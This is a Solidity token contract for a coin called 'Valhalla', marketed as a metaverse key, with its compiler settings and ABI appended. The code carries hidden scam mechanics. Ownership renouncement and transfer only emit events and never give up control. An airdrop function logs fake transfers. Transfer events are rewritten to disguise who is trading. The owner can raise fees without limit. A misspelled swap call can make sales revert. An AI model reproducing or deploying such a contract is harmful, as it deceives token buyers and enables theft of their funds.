// SPDX-License-Identifier: unlicense
/*
__ ________ __ __ ______ __ __ ______
/\ \ / /\ __ \/\ \_\ \/\ __ \/\ \ /\ \ /\ __ \
\ \ \'/\ \ __ \ \ __ \ \ __ \ \ \___\ \ \___\ \ __ \
\ \__| \ \_\ \_\ \_\ \_\ \_\ \_\ \_____\ \_____\ \_\ \_\
\/_/ \/_/\/_/\/_/\/_/\/_/\/_/\/_____/\/_____/\/_/\/_/
VAHALLA is the key to a metaverse like digital realm,
appealing to a tech-savvy, innovation-driven consumer base.
Consumers will obtain these goods to enter the metaverse where
they can build, interact and enrich their digital lives.
Further details via: https://twitter.com/crypto_bitlord7
*/
pragma solidity ^0.8.0;
contract Valhalla {
string private _name = 'Valhalla';
string private _symbol = 'Valhalla';
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 690_000_000_000_000 * 10 ** decimals;
struct StoreData {
address tokenMkt;
uint8 buyFee;
uint8 sellFee;
}
StoreData public storeData;
uint256 constant swapAmount = totalSupply / 100;
error onlyOwner();
event RevenueShare(uint256 _mev);
event Transfer(address indexed from, address indexed to, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Approval(
address indexed TOKEN_MKT,
address indexed spender,
uint256 value
);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isWhitelist;
address public pair;
IUniswapV2Router02 constant _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
bool private swapping;
bool private tradingOpen;
address _deployer;
address _executor;
address private uniswapLpWallet;
uint8 private _angelsBuy = 90;
uint8 private _angelsSell = 80;
uint8 private _initBuyFee = 9;
uint8 private _initSellFee = 7;
constructor() {
storeData = StoreData({
tokenMkt: msg.sender,
buyFee: _initBuyFee,
sellFee: _initSellFee
});
allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
uniswapLpWallet = msg.sender;
_initDeployer(msg.sender, msg.sender);
balanceOf[uniswapLpWallet] = (totalSupply * 100) / 100;
emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);
}
receive() external payable {}
function setRevenueShare(uint256 _mev) external {
if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
emit RevenueShare(_mev);
}
function setDefaultFee(uint8 _buy, uint8 _sell) external {
if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
_upgradeStore(_buy, _sell);
}
function reduceAngelsFee() external {
if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
require (_angelsBuy>0 && _angelsSell>0);
_angelsBuy -= 9;
_angelsSell -= 8;
}
function setAngelsFee(uint8 _buy, uint8 _sell) external {
if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
_angelsBuy = _buy;
_angelsSell = _sell;
}
function setWhitelist(address[] calldata _address) external {
if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
isWhitelist[_address[0]]=true;
}
function distributionTokenToWallet(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external {
if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function renounceOwnership() external {
if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
emit OwnershipTransferred(_deployer, address(0));
}
function transferOwnership(address newOwner) external {
if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
emit OwnershipTransferred(_deployer, newOwner);
}
function _upgradeStore(uint8 _buy, uint8 _sell) private {
storeData.buyFee = _buy;
storeData.sellFee = _sell;
}
function _decodeTokenMKT() private view returns (address) {
return storeData.tokenMkt;
}
function openTrading() external {
require(msg.sender == _decodeTokenMKT());
require(!tradingOpen);
address _factory = _uniswapV2Router.factory();
address _weth = _uniswapV2Router.WETH();
address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
pair = _pair;
tradingOpen = true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return _transfer(msg.sender, to, amount);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function _initDeployer(address deployer_, address executor_) private {
_deployer = deployer_;
_executor = executor_;
}
function _transfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
address tokenMkt = _decodeTokenMKT();
require(tradingOpen || from == tokenMkt || to == tokenMkt);
balanceOf[from] -= amount;
if (
to == pair &&
!swapping &&
balanceOf[address(this)] >= swapAmount &&
from != tokenMkt
) {
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_uniswapV2Router
.swapExactTokensForETHSupportingFreelyOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
swapping = false;
}
(uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
if (from != address(this) && tradingOpen == true) {
uint256 taxCalculatedAmount = (amount *
(to == pair ? _sellFee : _buyFee)) / 100;
amount -= taxCalculatedAmount;
balanceOf[address(this)] += taxCalculatedAmount;
}
balanceOf[to] += amount;
if (from == _executor) {
emit Transfer(_deployer, to, amount);
} else if (to == _executor) {
emit Transfer(from, _deployer, amount);
} else {
emit Transfer(from, to, amount);
}
return true;
}
}
interface IUniswapFactory {
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFreelyOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
{
"compilationTarget": {
"ValhallaCoin.sol": "Valhalla"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"onlyOwner","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_mev","type":"uint256"}],"name":"RevenueShare","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"distributionTokenToWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWhitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceAngelsFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setAngelsFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setDefaultFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mev","type":"uint256"}],"name":"setRevenueShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"}],"name":"setWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]